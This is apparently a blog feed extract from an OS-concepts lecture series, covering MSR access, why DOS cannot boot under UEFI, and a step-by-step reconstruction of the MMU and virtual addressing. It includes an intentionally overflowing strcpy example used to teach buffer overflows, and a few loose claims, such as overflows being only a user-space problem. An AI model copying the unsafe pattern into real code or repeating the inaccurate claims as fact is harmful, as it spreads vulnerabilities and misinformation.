<pre><code class="lang-c">    <span class="hljs-number">0xFFFF</span>_FF00 – <span class="hljs-number">0xFFFF</span>_FFFF → MSR region
</code></pre>
<p>This immediately creates serious architectural problems:</p>
<p><strong>1. OS Must Reserve Permanent Address Ranges</strong></p>
<p>The OS would be forced to permanently reserve these addresses across:</p>
<ul>
<li><p>the kernel’s virtual memory</p>
</li>
<li><p>every process’s page tables (with allow/deny rules)</p>
</li>
<li><p>physical memory layouts</p>
</li>
</ul>
<p>This increases <strong>space complexity</strong> and pollutes the memory map.</p>
<p><br />
<strong>2. Page Tables Become Bloated and Hard to Manage</strong></p>
<ul>
<li><p>Every process would need to include these MSR addresses:</p>
<ul>
<li><p>either mapped (for kernel use)</p>
</li>
<li><p>or marked as forbidden (for user mode)</p>
</li>
</ul>
</li>
<li><p>This makes <strong>per-process page tables larger</strong>, more complex, and less efficient.</p>
</li>
<li><p>Extra entries → more TLB pressure → performance drop → more kernel bookkeeping → <strong>unmaintainable long-term.</strong></p>
</li>
<li><p><strong>So what is TLB pressure?</strong></p>
<ul>
<li><p>The <strong>Translation Lookaside Buffer (TLB)</strong> is a small, very fast cache inside the CPU that stores recent <strong>virtual → physical address translations</strong>.</p>
</li>
<li><p>Without the TLB, every memory access would require walking the entire page table - which is slow.</p>
</li>
<li><p>When we add <strong>extra entries</strong> to page tables (like MSR memory regions):</p>
<ul>
<li><p>The CPU has more translations to remember.</p>
</li>
<li><p>The TLB fills up faster.</p>
</li>
<li><p>Entries get evicted more often.</p>
</li>
<li><p>The CPU has to reload mappings repeatedly.</p>
</li>
</ul>
</li>
<li><p>This increased load is called <strong>TLB pressure</strong>.</p>
</li>
</ul>
</li>
</ul>
<p><br />
<strong>3. Accidental Access Becomes Common</strong></p>
<p>Any buggy pointer operation like:</p>
<pre><code class="lang-c">    mov eax, [rax + wrongOffset]
</code></pre>
<p>might accidentally touch an MSR address and break CPU configuration which is Catastrophic.</p>
<p><br />
<strong>4. No Security Boundary</strong></p>
<p>User programs could simply try:</p>
<pre><code class="lang-c">    mov eax, [MSR_ADDRESS]
</code></pre>
<p>forcing the CPU to trap on every attempt.</p>
<ul>
<li>This creates performance overhead and security noise.</li>
</ul>
<p><br />
<strong>5. Hardware Becomes More Complicated</strong></p>
<ul>
<li><p>CPU designers would need:</p>
<ul>
<li><p>dedicated address comparators</p>
</li>
<li><p>privilege checkers</p>
</li>
<li><p>memory decoders</p>
</li>
</ul>
</li>
<li><p>All of the above just to protect MSR regions in memory.</p>
</li>
<li><p>This makes CPUs slower, larger, and more complex unnecessarily.</p>
</li>
</ul>
<h3 id="heading-conclusion"><strong>Conclusion</strong></h3>
<ul>
<li><p>Mapping MSRs into normal memory would waste address space, inflate per-process page tables, weaken isolation, complicate CPU hardware, and create an overall unmaintainable design.</p>
</li>
<li><p>Therefore, MSR access must use <strong>dedicated special opcodes</strong> (RDMSR, WRMSR) that only run in privileged mode.</p>
</li>
</ul>
<p><br /></p>
<h2 id="heading-why-bare-metal-does-not-work-for-dos-anymore"><strong>Why Bare Metal Does Not Work for DOS Anymore</strong></h2>
<h3 id="heading-dos-was-written-for-a-very-specific-era-of-hardware"><strong>DOS was written for a very specific era of hardware</strong></h3>
<ul>
<li><p>DOS was designed in the late 1980s and early 1990s for:</p>
<ul>
<li><p>8086 / 80286 CPUs</p>
</li>
<li><p>Single-core processors</p>
</li>
<li><p>Real Mode (no protection)</p>
</li>
<li><p>No privilege levels</p>
</li>
<li><p>No multitasking</p>
</li>
<li><p>Specific I/O ports</p>
</li>
<li><p>BIOS routines (INT 0x10, INT 0x13, etc.)</p>
</li>
<li><p>Simple memory layout</p>
</li>
<li><p>Hardware probing via BIOS</p>
</li>
</ul>
</li>
<li><p>So DOS makes <em>assumptions</em> such as:</p>
<ul>
<li><p>“Video card is available at this I/O port.”</p>
</li>
<li><p>“Disk can be accessed using BIOS INT 0x13.”</p>
</li>
<li><p>“Memory layout is under 1 MB.”</p>
</li>
<li><p>“Interrupts are handled by BIOS.”</p>
</li>
<li><p>“CPU boots in 8086 Real Mode.”</p>
</li>
</ul>
</li>
<li><p>These assumptions were <strong>true</strong> at that time.</p>
</li>
</ul>
<h3 id="heading-modern-bare-metal-hardware-no-longer-satisfies-dos-assumptions"><strong>Modern bare-metal hardware no longer satisfies DOS assumptions</strong></h3>
<ul>
<li><p>Today’s bare-metal systems:</p>
<ul>
<li><p>boot using UEFI → not BIOS</p>
</li>
<li><p>start in 64-bit mode (long mode)</p>
</li>
<li><p>do not expose old I/O ports</p>
</li>
<li><p>do not emulate BIOS interrupts</p>
</li>
<li><p>do not provide Real Mode drivers</p>
</li>
<li><p>use modern bus structures (PCIe, ACPI)</p>
</li>
<li><p>use protected/privileged mode architecture</p>
</li>
</ul>
</li>
<li><p>So if you boot DOS directly on modern hardware:</p>
<ul>
<li><p>DOS looks for hardware that no longer exists.</p>
</li>
<li><p>Calls BIOS interrupts that UEFI does not provide.</p>
</li>
<li><p>Assumes CPU is in real mode (it isn’t).</p>
</li>
<li><p>Assumes disks respond to old INT 0x13 routines (they don’t).</p>
</li>
</ul>
</li>
<li><p>Result: DOS cannot run on bare-metal UEFI hardware because its fundamental hardware assumptions are broken.</p>
</li>
</ul>
<p><br /></p>
<h2 id="heading-why-dos-can-still-work-legacy-mode-vm"><strong>Why DOS can still work (Legacy Mode / VM)</strong></h2>
<h3 id="heading-on-legacy-bios-systems">On legacy BIOS systems</h3>
<ul>
<li><p>Old BIOS motherboards still emulate the environment DOS expects:</p>
<ul>
<li><p>Real Mode</p>
</li>
<li><p>BIOS interrupts</p>
</li>
<li><p>Classic I/O ports</p>
</li>
<li><p>Old memory model</p>
</li>
</ul>
</li>
<li><p>So DOS boots perfectly.</p>
</li>
</ul>
<h3 id="heading-on-modern-cpus-through-legacy-compatibility-mode">On modern CPUs through Legacy Compatibility Mode</h3>
<ul>
<li><p>Even new Intel/AMD CPUs still support <strong>8086 Real Mode</strong> for compatibility.</p>
</li>
<li><p>The problem is:</p>
<ul>
<li><strong>UEFI does NOT provide the BIOS interrupt layer DOS requires.</strong></li>
</ul>
</li>
<li><p>But if the motherboard includes:</p>
<ul>
<li><p>“CSM mode” (Compatibility Support Module),</p>
</li>
<li><p>“Legacy Boot” option</p>
</li>
</ul>
</li>
<li><p>Then the system temporarily provides BIOS-like services → DOS works.</p>
</li>
</ul>
<h3 id="heading-on-vms">On VMs</h3>
<ul>
<li><p>VMware, VirtualBox, QEMU, DOSBox all <strong>emulate</strong>:</p>
<ul>
<li><p>BIOS</p>
</li>
<li><p>INT 0x13 / 0x10</p>
</li>
<li><p>Real Mode</p>
</li>
<li><p>ISA/PCI devices</p>
</li>
</ul>
</li>
<li><p>So DOS runs flawlessly.</p>
</li>
</ul>
<p><br /></p>
<h2 id="heading-why-uefi-replaced-bios"><strong>Why UEFI Replaced BIOS</strong></h2>
<h3 id="heading-limitations-of-bios">Limitations of BIOS</h3>
<ul>
<li><p>BIOS had to:</p>
<ul>
<li><p>probe every device manually</p>
</li>
<li><p>use 16-bit Real Mode</p>
</li>
<li><p>operate under 1 MB memory</p>
</li>
<li><p>depend on slow polling loops</p>
</li>
<li><p>lacked security</p>
</li>
<li><p>had no standard for drivers</p>
</li>
</ul>
</li>
</ul>
<h3 id="heading-limitations-fixed-by-uefi">Limitations Fixed by UEFI</h3>
<ul>
<li><p>UEFI introduces:</p>
<ul>
<li><p>32-bit or 64-bit execution</p>
</li>
<li><p>No probing - hardware reports itself to the UEFI (device discovery)</p>
</li>
<li><p>Secure Boot (signed bootloaders)</p>
</li>
<li><p>Chain of Trust</p>
</li>
<li><p>NVRAM boot entries</p>
</li>
<li><p>Drivers written in UEFI itself</p>
</li>
<li><p>Fast booting</p>
</li>
<li><p>Direct loading of OS kernel (no need for a bootloader in many cases)</p>
</li>
</ul>
</li>
<li><p>UEFI came around <strong>2009–2010</strong> for mainstream PCs.</p>
</li>
</ul>
<p><br /></p>
<h2 id="heading-why-uefi-doesnt-support-dos"><strong>Why UEFI Doesn’t Support DOS</strong></h2>
<ul>
<li><p>UEFI never intended to support 1980s software.</p>
<ul>
<li><p>8086 software is no longer common</p>
</li>
<li><p>Old BIOS interrupts are not present</p>
</li>
<li><p>DOS depends entirely on BIOS services that UEFI doesn’t implement</p>
</li>
<li><p>UEFI expects the OS to handle its own drivers</p>
</li>
</ul>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Lecture 2 - Reinventing MMU [Part - 1]]]></title><description><![CDATA[Disclaimer
⚠️ In the depths of memory lies madness — where pages blur, addresses warp, and only the brave dare to map reality.
The following content dives deep into the shadows of system memory — where addresses deceive, and pages guard their secrets...]]></description><link>https://breachforce.net/lecture-2-reinventing-mmu-part-1</link><guid isPermaLink="true">https://breachforce.net/lecture-2-reinventing-mmu-part-1</guid><category><![CDATA[Operating System Design]]></category><category><![CDATA[OS Architecture]]></category><category><![CDATA[OS Concepts]]></category><category><![CDATA[How Operating Systems Work]]></category><dc:creator><![CDATA[Rehan Shaikh]]></dc:creator><pubDate>Sat, 01 Nov 2025 18:30:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1762492010507/7db0bf79-265d-41bc-990f-0cb2c68e61f2.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-disclaimer"><strong>Disclaimer</strong></h3>
<p>⚠️ <strong>In the depths of memory lies madness — where pages blur, addresses warp, and only the brave dare to map reality.</strong></p>
<p>The following content dives deep into the shadows of system memory — where addresses deceive, and pages guard their secrets.</p>
<p><strong>Students and beginners</strong>, proceed at your own risk — the <strong>MMU</strong> remembers everything you do.</p>
<p>In this OS series, the focus will be on the <strong>Operating System</strong> (software context) components, not the hardware context of the components. <em>(For the hardware context, refer to computer architecture.)</em></p>
<h3 id="heading-special-thanks"><strong>Special Thanks</strong></h3>
<p>Heartfelt gratitude to <a target="_blank" href="https://www.linkedin.com/in/adhokshajmishra/"><strong>Mr. Adhakshoj Mishra Ji</strong></a> for his insightful session and for reviewing this blog.</p>
<p>A sincere thanks as well to the <strong>BreachForce Community Members</strong> for sharing their valuable notes, and to the <strong>BreachForce Community Volunteers</strong> for helping collate and refine this content.</p>
<h1 id="heading-preface">Preface</h1>
<p>In the last blog, we explored how the Context Switching Mechanism allows the CPU to alternate between processes, creating the illusion of multitasking on a single processor.</p>
<p>In the below blog, we will discuss the problems along with their possible solutions. With those solutions, there will occur some min-problems which will be solved using some sort of mini-solutions. According to those solutions, we will modify the design</p>
<h1 id="heading-mmu">MMU</h1>
<h2 id="heading-design-architecture-1-cpu-ram">Design Architecture 1: CPU + RAM</h2>
<h3 id="heading-design">Design</h3>
<p>We have two processes running using the same RAM as per the context-switching process. The assumption here is that these processes will not be continuous. We will insert some chunks of RAM that are not equally sized partitions. If multiple processes are loaded, the RAM will look like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762435734754/7f6808d6-6d54-4770-9239-378db04521dc.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>In the above design, the assumption is that the RAM will run one program at a time.</p>
</li>
<li><p>For some context: assume that the execution of Process 2 is in progress. Process 2 will consume the entire RAM while it is being executed.</p>
</li>
<li><p>This will lead to some problems</p>
</li>
</ul>
<h3 id="heading-problem">Problem</h3>
<ul>
<li><p>Is there any option to limit RAM usage per process, so that one process uses only a certain percentage of RAM?</p>
</li>
<li><p>If two processes are executed simultaneously and one process encounters an issue, the other process also gets impacted.</p>
</li>
<li><p>We will assume that there is a flag inside the RAM to check whether a particular part of the RAM is occupied by a process or not.</p>
</li>
<li><p>What’s the probability that another process wouldn’t access that particular part? Who ensures that such things don’t happen?</p>
</li>
<li><p>We cannot leave everything to an honor system between programs, can we?</p>
</li>
<li><p>If a process goes rogue, the OS and all other processes can go <strong>kaboom</strong> — corrupted code, overwritten data, and unstable execution everywhere.</p>
<p>  <em>(Classic overflow and overwrite chaos — oof.)</em></p>
</li>
<li><p>How can we prevent such things from happening?</p>
</li>
</ul>
<h3 id="heading-solution">Solution</h3>
<ul>
<li><p>There’s no software-based solution for this — because, well, software alone can’t handle it (or maybe because software designers got lazy 😏).</p>
</li>
<li><p>So, back to <strong>hardware</strong> we go.</p>
</li>
<li><p>The solution is that we will insert an abstraction layer between CPU and RAM.</p>
</li>
<li><p>From CPU’s POV, it will look like RAM, it will feel like RAM, it will be behave like RAM; but technically it will not be RAM</p>
</li>
<li><p>The abstraction layer will</p>
<ul>
<li><p>Pretend to be RAM in front of CPU.</p>
</li>
<li><p>Pretend to be CPU in front of RAM.</p>
</li>
</ul>
</li>
<li><p>The CPU does not need to know what is actually connected to the abstracted RAM</p>
</li>
<li><p>We will insert a circuit (abstraction layer) which will pretend to be RAM inside the CPU (physically).</p>
</li>
<li><p>The CPU and RAM will be connected using a data bus and an address bus, which will be understood by both the CPU and the RAM.</p>
</li>
<li><p>This marks the birth of the <strong>MMU (Memory Management Unit)</strong> inside the CPU (as of 2025).</p>
</li>
</ul>
<h3 id="heading-address-bus"><strong>Address Bus</strong></h3>
<ul>
<li><p>The <strong>address bus</strong> carries the <strong>memory address</strong> of the data that the CPU wants to read from or write to in RAM (or other memory-mapped devices).</p>
</li>
<li><p>It is <strong>unidirectional</strong> i.e. addresses flow <strong>from the CPU to the memory</strong>.</p>
</li>
<li><p>The <strong>width</strong> of the address bus (e.g., 32-bit or 64-bit) determines how many unique memory locations the CPU can address.</p>
<ul>
<li>Example: a 32-bit address bus → 2³² = 4 GB addressable memory space.</li>
</ul>
</li>
<li><p>The address bus is used by the CPU to specify <em>where</em> in memory (RAM) data should be accessed.</p>
</li>
</ul>
<h3 id="heading-data-bus"><strong>Data Bus</strong></h3>
<ul>
<li><p>The <strong>data bus</strong> carries the <strong>actual data</strong> being transferred between the CPU, RAM, and other components.</p>
</li>
<li><p>It is <strong>bidirectional</strong> i.e. data can flow <strong>to or from the CPU</strong>, depending on whether it’s a read or write operation.</p>
</li>
<li><p>The <strong>width</strong> of the data bus (e.g., 8, 16, 32, 64 bits) determines how many bits of data can be transferred in one operation.</p>
</li>
<li><p>The data bus is used to transfer <em>what</em> data is being read or written.</p>
</li>
<li><p>This marks the birth of the <strong>MMU (Memory Management Unit)</strong> inside the CPU (as of 2025).</p>
</li>
</ul>
<h2 id="heading-design-architecture-2-cpu-abstraction-layer-ram">Design Architecture 2: CPU + Abstraction Layer + RAM</h2>
<h3 id="heading-design-1">Design</h3>
<p>Based on the above proposed solution, our design will look like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762435762639/02f11247-f112-4594-b4c8-d4174fb5ab62.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>For the sake of easy explanation, the abstraction layer (MMU) will be considered as a block between CPU and RAM in the proposed design.</p>
</li>
<li><p>In reality, however, it exists as a circuit within the CPU hardware.</p>
</li>
<li><p>The CPU and RAM will be connected using a data bus and an address bus, which will be understood by both the CPU and the RAM.</p>
</li>
<li><p>The Abstraction Layer will act as a channel through which we can monitor the addresses and data sent by CPU to RAM.</p>
</li>
<li><p>At present, there would not be any modification done by the Abstraction Layer in address or data passed through it.</p>
</li>
<li><p>There might be some lag issue in the CPU → RAM communication channels due to the current design; but we will discuss it in the later stages.</p>
</li>
<li><p>But, the earlier problem still persists.</p>
</li>
</ul>
<h3 id="heading-problem-1">Problem</h3>
<ul>
<li>How will we enforce controls on RAM using Abstraction Layer?</li>
</ul>
<h3 id="heading-solution-1">Solution</h3>
<ul>
<li><p>We will use a specific memory address range which will be used by the processes.</p>
</li>
<li><p>The Abstraction Layer will ensure that processes will use a specific range of memory addresses only; something like a lookup table</p>
</li>
<li><p>Each <strong>process</strong> is told it owns a <em>continuous block</em> of memory (like 0x1000 to 0xFFFF).</p>
</li>
<li><p>But in reality, those addresses <strong>don’t directly map to physical RAM</strong>.</p>
</li>
<li><p>The <strong>Abstraction Layer (MMU)</strong> keeps a <strong>lookup table</strong> that translates each process’s “virtual” address to the “physical” address in RAM.</p>
</li>
<li><p>This isolation ensures:</p>
<ul>
<li><p>Process A cannot access Process B’s memory.</p>
</li>
<li><p>If a process crashes, it can’t corrupt the OS or others.</p>
</li>
<li><p>The OS can move memory around physically without processes noticing.</p>
</li>
</ul>
</li>
</ul>
<h3 id="heading-virtual-address">Virtual Address</h3>
<ul>
<li><p>A <strong>virtual address</strong> is the <strong>address seen and used by a program</strong> (process).</p>
</li>
<li><p>When your code says:</p>
<pre><code class="lang-c">  <span class="hljs-keyword">int</span> *x = <span class="hljs-built_in">malloc</span>(<span class="hljs-number">4</span>);
</code></pre>
</li>
<li><p>and it returns something like <code>0x1000</code>, that’s a <strong>virtual address</strong>.</p>
</li>
<li><p>It’s <strong>virtual</strong> because that address <strong>does not correspond directly</strong> to a physical location in RAM.</p>
</li>
<li><p>Instead, the Abstraction Layer (MMU) will later <strong>translate</strong> that address to a physical address before accessing RAM.</p>
</li>
<li><p>Think of it like:</p>
<blockquote>
<p>Virtual address = “apartment number” inside a building</p>
<p>Physical address = “street address” of that building</p>
</blockquote>
</li>
<li><p>Each tenant (process) has its own set of apartment numbers, even if two tenants both have “Apartment 101” — they’re in <strong>different buildings</strong> (separate address spaces).</p>
</li>
</ul>
<h3 id="heading-physical-address">Physical Address</h3>
<ul>
<li><p>A <strong>physical address</strong> is the <strong>actual address of data in RAM</strong> — the one used on the hardware memory chips.</p>
<ul>
<li><p>It’s where the data is truly stored in memory cells.</p>
</li>
<li><p>Only the <strong>Abstraction Layer (MMU)</strong> and <strong>OS kernel</strong> deal with these directly.</p>
</li>
</ul>
</li>
<li><p>So, for example:</p>
<blockquote>
<p>CPU asks for 0x1000 (virtual address).</p>
<p>MMU translates it (using lookup table) to 0x2000 (physical address).</p>
<p>Data is fetched from RAM location 0x2000.</p>
</blockquote>
</li>
</ul>
<h3 id="heading-lookup-table">Lookup Table</h3>
<ul>
<li><p>A lookup table will look like this</p>
<p>  | Virtual Address (what CPU/process uses) | Physical Address (actual RAM) | Meaning |
  | --- | --- | --- |
  | 0x1000 | 0x2000 | Data at 0x1000 in program → actually stored at 0x2000 in RAM |
  | 0x1500 | 0x3000 | Data at 0x1500 → actually stored at 0x3000 |
  | any other address | address + 0x2000 | For any address not listed, just shift by 0x2000 |</p>
</li>
<li><p>This is a <strong>lookup table</strong> (LUT) or <strong>mapping table</strong> that defines how addresses are translated.</p>
</li>
<li><p>So, the <strong>MMU</strong> (Abstraction Layer) uses this table to perform translations <strong>on the fly</strong> whenever the CPU accesses memory.</p>
</li>
<li><p>Using lookup table we can divert the processes to different sections in the RAM.</p>
</li>
</ul>
<h3 id="heading-working-of-abstraction-layer">Working of Abstraction Layer</h3>
<ul>
<li><p><strong>Process runs</strong> and tries to access virtual address <code>0x1000</code></p>
</li>
<li><p><strong>CPU</strong> sends <code>0x1000</code> to <strong>Abstraction Layer (MMU)</strong> via address bus</p>
</li>
<li><p><strong>Abstraction Layer (MMU)</strong> looks up <code>0x1000</code> in its table:</p>
<ul>
<li>Finds it → maps to <code>0x2000</code></li>
</ul>
</li>
<li><p><strong>Abstraction Layer (MMU)</strong> sends <code>0x2000</code> (physical) to <strong>RAM</strong></p>
</li>
<li><p><strong>RAM</strong> returns the actual data</p>
</li>
<li><p>Now the Abstraction Layer (MMU) has the following capabilities:</p>
<ul>
<li><p>Pretend to be RAM in front of CPU.</p>
</li>
<li><p>Pretend to be CPU in front of RAM.</p>
</li>
<li><p>Has capability to map virtual memory addresses to physical memory addresses based on internal lookup table</p>
</li>
</ul>
</li>
<li><p>The current design may look proper on the surface but it has another flaw which we will discuss further</p>
</li>
</ul>
<h2 id="heading-design-architecture-3-integration-of-io-portbus-and-ram-within-abstraction-layer-mmu"><strong>Design Architecture 3: Integration of I/O Port/Bus and RAM within Abstraction Layer (MMU)</strong></h2>
<h3 id="heading-problem-2">Problem</h3>
<ul>
<li><p>How will the lookup table be configured by the CPU?</p>
</li>
<li><p>Is there any way to store lookup tables inside the Abstraction Layer? Because we do not know how big the lookup table will be, how many addresses it will contain, how large the connected RAM will be, or how many offsets there will be.</p>
</li>
<li><p>Is there any way to store any temporary data output of the CPU calculation logic?</p>
</li>
<li><p>How will we ensure that older software runs on the current hardware architecture? How will we maintain backward compatibility for older software?</p>
</li>
</ul>
<h3 id="heading-solution-2">Solution</h3>
<ul>
<li><p>Addition of an I/O port/bus from the CPU to the Abstraction Layer (MMU).</p>
</li>
<li><p>Insertion of dedicated RAM inside the Abstraction Layer (MMU).</p>
</li>
<li><p>Let’s modify the design based on the proposed solution</p>
</li>
</ul>
<h3 id="heading-design-2">Design</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762435812632/81e21a6e-1511-48d1-aa0a-90a957927357.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>In the current design, the I/O Port will configure the lookup table before execution. We did this because we don’t want to <em>magically</em> configure the RAM directly.</p>
</li>
<li><p>Personal RAM of Abstraction Layer (MMU) will store current states before sending them to the physical RAM. It will also store multiple lookup-tables for multiple processes.</p>
</li>
</ul>
<h3 id="heading-working-of-abstraction-layer-1">Working of Abstraction Layer</h3>
<ul>
<li><p>If someone executes old software on the current hardware configuration, it will run smoothly since the lookup table will be blank initially. The hardware is designed in such a way that requests will pass through without affecting existing software or requiring any modifications to it.</p>
</li>
<li><p>We can also configure the lookup table using the I/O port when executing any new software.</p>
</li>
<li><p>If there is any problem while running the new software, the fault lies within the Meta-Program for messing up the Lookup Table configuration.</p>
</li>
<li><p>If we are calculating instead of performing one-by-one address mapping, the calculation logic used for translation will still need memory to store the temporary data output of the computation. The Personal RAM of Abstraction Layer (MMU) can be used for this.</p>
</li>
<li><p>The problem of running old software on current hardware configurations is solved.</p>
</li>
<li><p>The problem of accidental overwrites is also solved.</p>
</li>
<li><p>Now the Abstraction Layer (MMU) has the following capabilities:</p>
<ul>
<li><p>Pretends to be RAM in front of the CPU.</p>
</li>
<li><p>Pretends to be the CPU in front of RAM.</p>
</li>
<li><p>Has the capability to map virtual memory addresses to physical memory addresses based on an internal lookup table.</p>
</li>
<li><p>If the table is not configured, the Abstraction Layer simply passes through all memory I/O requests and responses.</p>
</li>
<li><p>Maintains backward compatibility — old software can still run on it just fine.</p>
</li>
<li><p>Can be configured for address mapping.</p>
</li>
<li><p>Can hold multiple lookup tables.</p>
</li>
<li><p>Can switch between multiple lookup tables — the exact table can be specified over the I/O port. Only one lookup table will be active at a given point in time.</p>
</li>
<li><p>Lookup table switching will occur during context switching.</p>
</li>
</ul>
</li>
</ul>
<h3 id="heading-limitations-of-current-architecture">Limitations of Current Architecture</h3>
<ul>
<li>Only one lookup table will be active at a given point of time.</li>
</ul>
<h2 id="heading-design-architecture-3-integration-of-interrupt-pin-into-abstraction-layer"><strong>Design Architecture 3: Integration of Interrupt Pin into Abstraction Layer</strong></h2>
<h3 id="heading-problem-3">Problem</h3>
<ul>
<li><p>What happens when an address gets modified into an invalid address?</p>
</li>
<li><p>Example:</p>
<ul>
<li><p>Mapping: address → address + 5000; with total memory attached = 8000 bytes</p>
</li>
<li><p>CPU attempts to read from address 4000</p>
</li>
<li><p>Total address value = 9000 bytes &gt; 8000 bytes (current RAM)</p>
</li>
</ul>
</li>
<li><p>What happens then?</p>
</li>
</ul>
<h3 id="heading-solution-3">Solution</h3>
<ul>
<li><p>Use interrupt to switch control from the CPU to a meta program if there is an invalid read or write operation.</p>
</li>
<li><p>Connect Interrupt pin of the CPU to the Abstraction Layer.</p>
</li>
</ul>
<h3 id="heading-design-3">Design</h3>
<p>Based on the proposed solution, we will modify the design</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762435835709/721df431-2a68-4787-8de2-b8f6a8f5edee.png" alt class="image--center mx-auto" /></p>
<ul>
<li>The Interrupt PIN has been passed from CPU to the Abstraction Layer</li>
</ul>
<h3 id="heading-working-of-abstraction-layer-2">Working of Abstraction Layer</h3>
<ul>
<li><p>When invalid memory access occurs, an interrupt is triggered on the CPU.</p>
</li>
<li><p>We can use this interrupt to switch control from the CPU to a meta program if there is an invalid read or write operation on a memory address that is out of bounds.</p>
</li>
<li><p>For that, the interrupt pin of the CPU will be connected to the Abstraction Layer.</p>
</li>
<li><p>However, this introduces another problem.</p>
</li>
</ul>
<h3 id="heading-problem-4">Problem</h3>
<ul>
<li>What happens after delegating control to the meta program? What will the meta program do?</li>
</ul>
<h3 id="heading-solution-4">Solution</h3>
<ul>
<li><p>After switching control to the meta program, it will terminate the corrupted process.</p>
</li>
<li><p>It will stop the program’s execution.</p>
</li>
<li><p>The developer will then investigate the issue - it’s no longer our concern. Give them the <strong>BSOD</strong>. Let them suffer 🔥</p>
</li>
<li><p>We have another potential feature of the current design architecture:</p>
<ul>
<li><p>We can restrict access to specific memory ranges.</p>
</li>
<li><p>For example, the meta-program address range can be kept out of bounds by defining a permissible access range.</p>
</li>
<li><p>This ensures that not only the addresses of individual processes are isolated, but the meta-program address space is isolated as well.</p>
</li>
</ul>
</li>
<li><p>There is another problem now.</p>
</li>
</ul>
<h3 id="heading-problem-5">Problem</h3>
<ul>
<li><p>A process might overwrite the abstraction layer tables if care is not taken. How do we solve this?</p>
</li>
<li><p>We will learn to solve this in the next lecture of this series</p>
</li>
</ul>
<h1 id="heading-additional-topics">Additional Topics</h1>
<h3 id="heading-unified-memory">Unified Memory</h3>
<ul>
<li><p>This is <strong>Hardware-Level Memory Architecture</strong>, not just logical abstraction.</p>
</li>
<li><p>It’s used in <strong>modern CPUs and GPUs</strong> (like Apple M-series, AMD APU, Intel integrated graphics, and NVIDIA’s Unified Memory with CUDA).</p>
</li>
<li><p>Normally, CPU and GPU have <strong>separate RAM</strong>:</p>
<ul>
<li><p>CPU → <strong>System RAM</strong></p>
</li>
<li><p>GPU → <strong>VRAM</strong></p>
</li>
</ul>
</li>
<li><p>Unified Memory <strong>combines</strong> them into one shared pool.</p>
</li>
<li><p>Both CPU and GPU can access the <strong>same physical memory</strong> directly.</p>
</li>
<li><p>Example:</p>
<p>  GPU reads that same data without copying to VRAM.</p>
<blockquote>
<p>The CPU computes something, writes to memory.</p>
</blockquote>
</li>
</ul>
<h3 id="heading-virtual-addressing">Virtual Addressing</h3>
<ul>
<li><p>On a 32-bit system, each process usually gets a 2 GB virtual address space (user space).</p>
</li>
<li><p>On a 64-bit system, each process can have a much larger virtual address space (4 GB or more depending on OS).</p>
</li>
<li><p>This is the limit OS generally sets though it will use memory address space depending on its usage.</p>
</li>
</ul>
<h2 id="heading-buffer-over-flow">Buffer Over Flow</h2>
<ul>
<li><p><strong>(BoF)</strong> is a <strong>user-space problem</strong>, not a kernel or hardware one.</p>
</li>
<li><p>We will further understand why BoF is a user-space problem and a not kernel space one.</p>
</li>
</ul>
<h3 id="heading-user-space-vs-kernel-space">User Space vs Kernel Space</h3>
<ul>
<li><p>The OS divides memory into two big zones:</p>
<p>  | Zone | Who lives here | What it does |
  | --- | --- | --- |
  | <strong>Kernel Space</strong> | OS core, device drivers | Controls hardware, MMU, process scheduling |
  | <strong>User Space</strong> | Your programs (processes) | Runs application code, isolated from kernel |</p>
</li>
<li><p>When your program runs, the <strong>MMU + OS</strong> give it its own <strong>virtual address space</strong></p>
</li>
<li><p>E.g. <code>0x00000000</code> → <code>0x3FFFFFFF</code> (let’s say 1 GB).</p>
</li>
<li><p>Inside that range, the process can do <em>whatever it wants</em> — it’s isolated.</p>
</li>
</ul>
<h3 id="heading-lookup-table-mmu-page-table">Lookup Table (MMU / Page Table)</h3>
<ul>
<li><p>That lookup table (MMU page tables) defines which virtual address in that 1 GB range maps to which physical address.</p>
</li>
<li><p>Once this mapping exists, <strong>the kernel steps back</strong> — the CPU + MMU handle translations automatically.</p>
</li>
<li><p>So within that 1 GB virtual sandbox,</p>
<blockquote>
<p>the OS doesn’t care how your program lays out stack, heap, globals, or code — it’s up to you and your compiler/runtime.</p>
</blockquote>
</li>
</ul>
<h3 id="heading-process-layout">Process Layout</h3>
<ul>
<li><p>Inside that 1 GB virtual space, the <strong>process layout</strong> usually looks like:</p>
<pre><code class="lang-c">  +---------------------+  ← High addresses
  | Stack               |  (grows downward)
  +---------------------+
  | Memory-mapped libs  |
  +---------------------+
  | Heap                |  (grows upward)
  +---------------------+
  | Data (globals)      |
  +---------------------+
  | Code (text)         |
  +---------------------+  ← Low addresses
</code></pre>
</li>
<li><p>These regions are managed by the runtime and allocator (<code>malloc</code>, etc.).</p>
</li>
<li><p>But <strong>how they are used</strong> depends entirely on <em>the program code</em>.</p>
</li>
</ul>
<h3 id="heading-where-buffer-overflow-happens">Where Buffer Overflow Happens</h3>
<ul>
<li><p>Now, a <strong>Buffer Overflow (BoF)</strong> happens <em>inside this user-space layout</em>, for example:</p>
<pre><code class="lang-c">  <span class="hljs-keyword">char</span> buf[<span class="hljs-number">10</span>];
  <span class="hljs-built_in">strcpy</span>(buf, <span class="hljs-string">"AAAAAAAAAAAAAAAAAAAA"</span>);  <span class="hljs-comment">// 20 bytes into a 10-byte array</span>
</code></pre>
</li>
<li><p>Here:</p>
<ul>
<li><p>The CPU executes normal user-space instructions.</p>
</li>
<li><p>The OS and MMU have <em>no idea</em> you’re writing past 10 bytes.</p>
</li>
<li><p>You’re still writing to a <strong>valid address in your 1 GB range</strong>, just into the wrong variable.</p>
</li>
</ul>
</li>
<li><p>So the hardware doesn’t see it as a violation — it’s still your memory!</p>
</li>
<li><p>Only when you cross into an <strong>unmapped page</strong> (like going beyond your 1 GB range) does the MMU raise a <strong>segmentation fault</strong>.</p>
</li>
<li><p>So:</p>
<blockquote>
<p>The BoF isn’t caused by kernel or hardware malfunction — it’s caused by bad logic in the program’s layout or memory management inside its own address space.</p>
</blockquote>
</li>
